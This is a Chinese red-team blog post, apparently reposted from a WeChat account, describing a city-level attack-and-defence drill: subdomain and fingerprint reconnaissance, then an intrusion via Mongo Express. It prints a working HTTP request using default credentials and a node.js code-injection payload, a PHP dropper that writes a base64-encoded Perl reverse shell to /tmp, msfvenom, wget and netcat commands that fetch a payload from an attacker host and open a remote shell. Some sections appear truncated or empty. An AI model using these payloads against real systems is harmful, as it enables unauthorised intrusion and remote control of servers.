本文由掌控安全学院 -
Tobisec
投稿
来Track安全社区投稿~
千元稿费!还有保底奖励~(https://bbs.zkaq.cn)
0x1 前言
哈喽,师傅们!
这次给师傅们分享的是上上个星期的地级市护网的攻防演练的两个案例,涉及到的知识点可能比较偏,下面我也会提前给师傅们拓展下改漏洞相关的知识点内容。护网攻防演练中,涉及到的很多敏感内容这里会进行打码操作,然后这里简单给师傅们分享下两个攻防演练中的真实案例,也让没有打过红队攻防演练的师傅们学习下,感受下思路过程。
0x2 资产测绘
1、确定目标资产
在进行攻防演练之前,开始就是进行资产的划分了,我们有两支红队,然后每个队伍都划分不一样的资产目标,然后再在每个队伍里面划分每个人的任务安排,下面的信息资产收集调研表就是我所分配的一部分资产
2、域名/子域名收集
这里我先把这些域名收集好,把他们都放到一个txt文件里面,然后再使用我们的然后使用oneforall收集改目标站点的子域名
然后跑完以后,结果会在result文件 里面
然后再使用exec表进行筛选状态码为200的域名,且再进行域名和IP去重的操作,为了后面减少测试的工作量
3、URL指纹探测
收集完上面的IP和域名以及子域名,然后就可以使用无影这款工具进行URL指纹探测,看看存在哪些可以利用,或者可以攻击的点
或者还可以使用密探这款工具进行指纹识别等操作,都很简单,半自动化扫描
然后再根据上面探测到的信息上网查找相关打点的方法,然后再进行一波渗透测试的操作
0x3 攻防演练案例一
kkFileView漏洞简介
kkFileView漏洞实操
0x4 攻防演练案例二
Mongo Express简介
admin:pass
),则可以执行任意node.js代码。Mongo Express漏洞实操
admin:pass
,但是这个IP访问直接免密码登录,直接未授权进去了POST /checkValid HTTP/1.1
Host: 目标资产的IP:端口
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Authorization: Basic YWRtaW46cGFzcw==
Content-Type: application/x-www-form-urlencoded
Content-Length: 134
document=this.constructor.constructor("return process")().mainModule.require("child_process").execSync("ping 3apk66.dnslog.cn
")
拿root权限
<?php
function which($pr) {
$path = execute("which $pr");
return ($path ? $path : $pr);
}
function execute($cfe) {
$res = '';
if ($cfe) {
if(function_exists('exec')) {
@exec($cfe,$res);
$res = join("n",$res);
} elseif(function_exists('shell_exec')) {
$res = @shell_exec($cfe);
} elseif(function_exists('system')) {
@ob_start();
@system($cfe);
$res = @ob_get_contents();
@ob_end_clean();
} elseif(function_exists('passthru')) {
@ob_start();
@passthru($cfe);
$res = @ob_get_contents();
@ob_end_clean();
} elseif(@is_resource($f = @popen($cfe,"r"))) {
$res = '';
while(!@feof($f)) {
$res .= @fread($f,1024);
}
@pclose($f);
}
}
return $res;
}
function cf($fname,$text){
if($fp=@fopen($fname,'w')) {
@fputs($fp,@base64_decode($text));
@fclose($fp);
}
}
$yourip = "kali的IP";
$yourport = 'kali的监听端口';
$usedb = array('perl'=>'perl','c'=>'c');
$back_connect="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGNtZD0gImx5bngiOw0KJHN5c3RlbT0gJ2VjaG8gImB1bmFtZSAtYWAiO2Vj".
"aG8gImBpZGAiOy9iaW4vc2gnOw0KJDA9JGNtZDsNCiR0YXJnZXQ9JEFSR1ZbMF07DQokcG9ydD0kQVJHVlsxXTsNCiRpYWRkcj1pbmV0X2F0b24oJHR".
"hcmdldCkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRwb3J0LCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKT".
"sNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoI".
"kVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQi".
"KTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgkc3lzdGVtKTsNCmNsb3NlKFNUREl".
"OKTsNCmNsb3NlKFNURE9VVCk7DQpjbG9zZShTVERFUlIpOw==";
cf('/tmp/.bc',$back_connect);
$res = execute(which('perl')." /tmp/.bc $yourip $yourport &");
?>
msfvenom -p cmd/unix/reverse_python LHOST=10.10.10.128 LPORT=4444 -f raw > webshell.py
python3 -m http.server 81
wget http://10.10.10.128:81/webshell.py -O /tmp/shellwget http://10.10.10.128:81/webshell.php -O /tmp/shell
nc -lvvp 4444
document=this.constructor.constructor("return process")().mainModule.require("child_process").execSync("bash /tmp/shell")
修复建议
redis未授权访问
0x5 总结
所有渗透都需获取授权,违者后果自行承担,与本号及作者无关,请谨记守法.
原文始发于微信公众号(掌控安全EDU):记某地级市护网的攻防演练行动
- 左青龙
- 微信扫一扫
- 右白虎
- 微信扫一扫
评论